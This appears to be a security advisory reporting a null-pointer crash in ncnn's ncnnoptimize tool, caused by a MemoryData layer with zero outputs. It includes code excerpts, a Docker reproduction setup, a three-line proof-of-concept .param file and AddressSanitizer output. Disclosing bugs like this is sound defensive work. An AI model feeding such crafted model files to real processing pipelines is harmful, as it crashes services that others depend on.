Malformed Model Crashes ncnnoptimize

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: tools/ncnnoptimize.cpp:1740 in NetOptimize::fuse_memorydata_binaryop
Sanitizer verdict: SEGV on unknown address 0x000000000000 (pc 0x5d211bceaf47 bp 0x7fff65adb610 sp 0x7fff65adb3d0 T0)

Summary

A three-line ncnn parameter file crashes ncnnoptimize with a null read before it writes any output. Declaring a MemoryData layer with zero output blobs leaves layer->tops empty, and the unconditional fuse_memorydata_binaryop() optimization pass selects layers purely by type string and then reads tops[0]. Any pipeline that runs ncnnoptimize over .param files an attacker can supply or replace is affected; no .bin file is needed, since the PoC passes null as the weight argument.

Detail

The untrusted field is the per-layer top_count in the .param header line. Net::load_param reads it at src/net.cpp:1397 and resizes layer->tops to that value at line 1456, with no comparison against the layer's declared arity — MemoryData is one_blob_only-style with exactly one output, but nothing enforces that at load time. Loading a MemoryData line with 0 0 therefore produces a layer object whose tops vector is empty.

main() runs the optimization passes unconditionally after loading. fuse_memorydata_binaryop() iterates over every layer, skips anything that is not a MemoryData, and immediately reads the first top blob index in order to look for a consumer. The only guard in the loop is the type-string comparison; the vector's size is never inspected, and std::vector::operator[] on an empty vector reads through a null data() pointer.

// src/net.cpp:1456
        layer->tops.resize(top_count);

// tools/ncnnoptimize.cpp:1731
int NetOptimize::fuse_memorydata_binaryop()
{
    const size_t layer_count = layers.size();
    for (size_t i = 0; i < layer_count; i++)
    {
        if (layers[i]->type != "MemoryData")
            continue;

        // MemoryData - BinaryOp
        int top_blob_index = layers[i]->tops[0];

The PoC file declares one layer and one blob, and its single layer line is MemoryData md 0 0 — zero bottoms and zero tops. load_param accepts it, optimizer.load_model() has nothing to read because the binary argument is null, and the pass sequence begins. At i == 0 the type check matches, layers[0]->tops is empty, and tops[0] at line 1740 dereferences address 0x0, aborting the tool. Note the contrast a few lines below: the BinaryOp candidate is checked with layers[j]->bottoms.size() != 2 before its bottoms are indexed.

Reproduce

mkdir -p ncnn-poc-malformed-model-crashes-ncnnoptimize && cd ncnn-poc-malformed-model-crashes-ncnnoptimize

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'POC_EOF'
7767517
1 1
MemoryData md 0 0
POC_EOF

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x65097284af47 bp 0x7fff93687830 sp 0x7fff936875f0 T0)
==1==The signal is caused by a READ memory access.
==1==Hint: address points to the zero page.
    #0 0x65097284af47 in NetOptimize::fuse_memorydata_binaryop() /ncnn/tools/ncnnoptimize.cpp:1740
    #1 0x65097285de2b in main /ncnn/tools/ncnnoptimize.cpp:2827
    #2 0x7c2a68de51c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #3 0x7c2a68de528a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #4 0x6509727dd624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /ncnn/tools/ncnnoptimize.cpp:1740 in NetOptimize::fuse_memorydata_binaryop()
==1==ABORTING

Credit

Zheng Yu @ DepthFirst